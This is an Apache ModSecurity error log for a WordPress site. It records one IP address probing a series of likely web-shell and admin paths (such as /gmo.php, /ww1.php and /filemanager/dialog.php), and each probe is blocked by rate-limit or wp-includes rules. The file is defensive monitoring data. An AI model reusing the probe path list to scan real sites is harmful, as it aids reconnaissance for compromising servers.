[Sat Feb 28 11:38:32.872872 2026] [:error] [pid 39292:tid 39297] [client 20.104.82.189:6175] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aaJjOKIAO5fN7BxyqcGy4AAAAMM"]
[Sat Feb 28 11:38:33.283992 2026] [:error] [pid 11791:tid 11797] [client 20.104.82.189:6205] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aaJjOWuX5e1Q32gqxH3tZQAAAQQ"]
[Sat Feb 28 11:38:33.719718 2026] [:error] [pid 39184:tid 39233] [client 20.104.82.189:6459] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aaJjOVtZF9Zd_U7easDHPgAAAE4"]
[Sat Feb 28 11:38:34.151187 2026] [:error] [pid 52460:tid 52471] [client 20.104.82.189:6352] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aaJjOrLWOogAgHGh62TeKAAAAYg"]
[Sat Feb 28 11:38:34.569249 2026] [:error] [pid 52460:tid 52485] [client 20.104.82.189:6291] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aaJjOrLWOogAgHGh62TeLQAAAZY"]
[Sat Feb 28 11:38:35.001888 2026] [:error] [pid 52460:tid 52474] [client 20.104.82.189:6270] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/index.php"] [unique_id "aaJjO7LWOogAgHGh62TeMQAAAYs"]
[Sat Feb 28 11:38:35.431979 2026] [:error] [pid 11791:tid 11800] [client 20.104.82.189:6354] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaJjO2uX5e1Q32gqxH3tawAAAQc"]
[Sat Feb 28 11:38:35.857867 2026] [:error] [pid 22194:tid 22208] [client 20.104.82.189:6315] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaJjO36mbajs3bzQGysnJgAAAUw"]
[Sat Feb 28 11:38:36.275438 2026] [:error] [pid 39292:tid 39311] [client 20.104.82.189:6359] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaJjPKIAO5fN7BxyqcGy5AAAANE"]
[Sat Feb 28 11:38:36.707977 2026] [:error] [pid 39292:tid 39307] [client 20.104.82.189:6360] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aaJjPKIAO5fN7BxyqcGy5QAAAM0"]
[Sat Feb 28 11:38:37.125477 2026] [:error] [pid 22194:tid 22215] [client 20.104.82.189:6394] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaJjPX6mbajs3bzQGysnKAAAAVM"]
[Sat Feb 28 11:38:37.553890 2026] [:error] [pid 39292:tid 39301] [client 20.104.82.189:6177] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaJjPaIAO5fN7BxyqcGy5gAAAMc"]
[Sat Feb 28 11:38:37.981408 2026] [:error] [pid 39292:tid 39318] [client 20.104.82.189:6326] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaJjPaIAO5fN7BxyqcGy5wAAANg"]
[Sat Feb 28 11:38:38.402189 2026] [:error] [pid 22194:tid 22211] [client 20.104.82.189:6314] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/about.php"] [unique_id "aaJjPn6mbajs3bzQGysnLAAAAU8"]
[Sat Feb 28 11:38:38.828794 2026] [:error] [pid 11791:tid 11798] [client 20.104.82.189:6302] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aaJjPmuX5e1Q32gqxH3tbwAAAQU"]
[Sat Feb 28 11:38:39.242087 2026] [:error] [pid 11791:tid 11809] [client 20.104.82.189:6304] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aaJjP2uX5e1Q32gqxH3tcAAAARA"]
[Sat Feb 28 11:38:39.660204 2026] [:error] [pid 39292:tid 39294] [client 20.104.82.189:6408] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aaJjP6IAO5fN7BxyqcGy6wAAAMA"]
[Sat Feb 28 11:38:40.112699 2026] [:error] [pid 39183:tid 39211] [client 20.104.82.189:6392] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "aaJjQBCf4HvhVePw3LbZtgAAABM"]
[Sat Feb 28 11:38:40.535478 2026] [:error] [pid 52460:tid 52477] [client 20.104.82.189:6383] [client 20.104.82.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaJjQLLWOogAgHGh62TeSAAAAY4"]
[Sat Feb 28 11:38:40.962207 2026] [:error] [pid 52460:tid 52467] [client 20.104.82.189:6368] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aaJjQLLWOogAgHGh62TeTQAAAYQ"]
[Sat Feb 28 11:38:41.381178 2026] [:error] [pid 22194:tid 22216] [client 20.104.82.189:6286] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aaJjQX6mbajs3bzQGysnMQAAAVQ"]
[Sat Feb 28 11:38:41.803069 2026] [:error] [pid 11791:tid 11815] [client 20.104.82.189:6324] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/index.php"] [unique_id "aaJjQWuX5e1Q32gqxH3tdwAAARY"]
[Sat Feb 28 11:38:42.230158 2026] [:error] [pid 52460:tid 52473] [client 20.104.82.189:6395] [client 20.104.82.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aaJjQrLWOogAgHGh62TeVAAAAYo"]
[Sat Feb 28 11:38:42.671241 2026] [:error] [pid 39185:tid 39270] [client 20.104.82.189:6421] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aaJjQhVE-FfM89u7BQZ7wwAAAJg"]
[Sat Feb 28 11:38:43.095186 2026] [:error] [pid 39185:tid 39247] [client 20.104.82.189:6442] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aaJjQxVE-FfM89u7BQZ7xwAAAIE"]
[Sat Feb 28 11:38:43.521798 2026] [:error] [pid 39185:tid 39246] [client 20.104.82.189:6350] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aaJjQxVE-FfM89u7BQZ7zQAAAIA"]
[Sat Feb 28 11:38:43.954178 2026] [:error] [pid 39185:tid 39255] [client 20.104.82.189:6343] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaJjQxVE-FfM89u7BQZ7zwAAAIk"]
[Sat Feb 28 11:38:44.376227 2026] [:error] [pid 39185:tid 39254] [client 20.104.82.189:6370] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaJjRBVE-FfM89u7BQZ70gAAAIg"]
[Sat Feb 28 11:38:44.791447 2026] [:error] [pid 39183:tid 39195] [client 20.104.82.189:6353] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaJjRBCf4HvhVePw3LbZuAAAAAM"]
[Sat Feb 28 11:38:45.246474 2026] [:error] [pid 39292:tid 39299] [client 20.104.82.189:6322] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaJjRaIAO5fN7BxyqcGy8QAAAMU"]
[Sat Feb 28 11:38:45.667603 2026] [:error] [pid 39185:tid 39259] [client 20.104.82.189:6356] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaJjRRVE-FfM89u7BQZ72AAAAI0"]
[Sat Feb 28 11:38:46.102555 2026] [:error] [pid 39292:tid 39295] [client 20.104.82.189:6159] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaJjRqIAO5fN7BxyqcGy8wAAAME"]
[Sat Feb 28 11:38:46.531237 2026] [:error] [pid 39292:tid 39296] [client 20.104.82.189:6180] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaJjRqIAO5fN7BxyqcGy9AAAAMI"]
[Sat Feb 28 11:38:46.954465 2026] [:error] [pid 22194:tid 22196] [client 20.104.82.189:6253] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaJjRn6mbajs3bzQGysnPQAAAUA"]
[Sat Feb 28 11:38:47.364939 2026] [:error] [pid 39185:tid 39255] [client 20.104.82.189:6148] [client 20.104.82.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aaJjRxVE-FfM89u7BQZ73wAAAIk"]
[Sat Feb 28 11:38:47.778593 2026] [:error] [pid 39185:tid 39258] [client 20.104.82.189:6259] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aaJjRxVE-FfM89u7BQZ74gAAAIw"]
[Sat Feb 28 11:38:48.199866 2026] [:error] [pid 39292:tid 39313] [client 20.104.82.189:6417] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aaJjSKIAO5fN7BxyqcGy-AAAANM"]
[Sat Feb 28 11:38:48.615154 2026] [:error] [pid 39185:tid 39253] [client 20.104.82.189:6435] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aaJjSBVE-FfM89u7BQZ76QAAAIc"]
[Sat Feb 28 11:38:49.030630 2026] [:error] [pid 22194:tid 22216] [client 20.104.82.189:6400] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaJjSX6mbajs3bzQGysnSQAAAVQ"]
[Sat Feb 28 11:38:49.457173 2026] [:error] [pid 11791:tid 11814] [client 20.104.82.189:6375] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaJjSWuX5e1Q32gqxH3thwAAARU"]
[Sat Feb 28 11:38:49.877257 2026] [:error] [pid 11791:tid 11797] [client 20.104.82.189:6466] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaJjSWuX5e1Q32gqxH3tiwAAAQQ"]
[Sat Feb 28 11:38:50.287923 2026] [:error] [pid 39185:tid 39255] [client 20.104.82.189:6247] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaJjShVE-FfM89u7BQZ77QAAAIk"]
[Sat Feb 28 11:38:50.707686 2026] [:error] [pid 11791:tid 11811] [client 20.104.82.189:6210] [client 20.104.82.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aaJjSmuX5e1Q32gqxH3tkQAAARI"]
[Sat Feb 28 11:38:51.136121 2026] [:error] [pid 11791:tid 11810] [client 20.104.82.189:6413] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww1.php"] [unique_id "aaJjS2uX5e1Q32gqxH3tlQAAARE"]
[Sat Feb 28 11:38:51.554357 2026] [:error] [pid 39185:tid 39261] [client 20.104.82.189:6415] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww1.php"] [unique_id "aaJjSxVE-FfM89u7BQZ78AAAAI8"]
[Sat Feb 28 11:38:51.979159 2026] [:error] [pid 22194:tid 22219] [client 20.104.82.189:6454] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww1.php"] [unique_id "aaJjS36mbajs3bzQGysnUgAAAVc"]
[Sat Feb 28 11:38:52.398016 2026] [:error] [pid 39185:tid 39249] [client 20.104.82.189:6321] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww1.php"] [unique_id "aaJjTBVE-FfM89u7BQZ79QAAAIM"]
[Sat Feb 28 11:38:52.819933 2026] [:error] [pid 39185:tid 39253] [client 20.104.82.189:6393] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aaJjTBVE-FfM89u7BQZ7-QAAAIc"]
[Sat Feb 28 11:38:53.246355 2026] [:error] [pid 39184:tid 39226] [client 20.104.82.189:6469] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aaJjTVtZF9Zd_U7easDHXwAAAEc"]
[Sat Feb 28 11:38:53.661321 2026] [:error] [pid 39185:tid 39265] [client 20.104.82.189:6444] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aaJjTRVE-FfM89u7BQZ7_wAAAJM"]
[Sat Feb 28 11:38:54.085047 2026] [:error] [pid 39292:tid 39303] [client 20.104.82.189:6328] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aaJjTqIAO5fN7BxyqcGzDgAAAMk"]
[Sat Feb 28 11:38:54.519670 2026] [:error] [pid 39185:tid 39252] [client 20.104.82.189:6380] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aaJjThVE-FfM89u7BQZ8BQAAAIY"]
[Sat Feb 28 11:38:54.950673 2026] [:error] [pid 39183:tid 39193] [client 20.104.82.189:6425] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aaJjThCf4HvhVePw3LbZvAAAAAE"]
[Sat Feb 28 11:38:55.375739 2026] [:error] [pid 52460:tid 52464] [client 20.104.82.189:6266] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aaJjT7LWOogAgHGh62TeZwAAAYE"]
[Sat Feb 28 11:38:55.816038 2026] [:error] [pid 52460:tid 52474] [client 20.104.82.189:6203] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aaJjT7LWOogAgHGh62TebAAAAYs"]
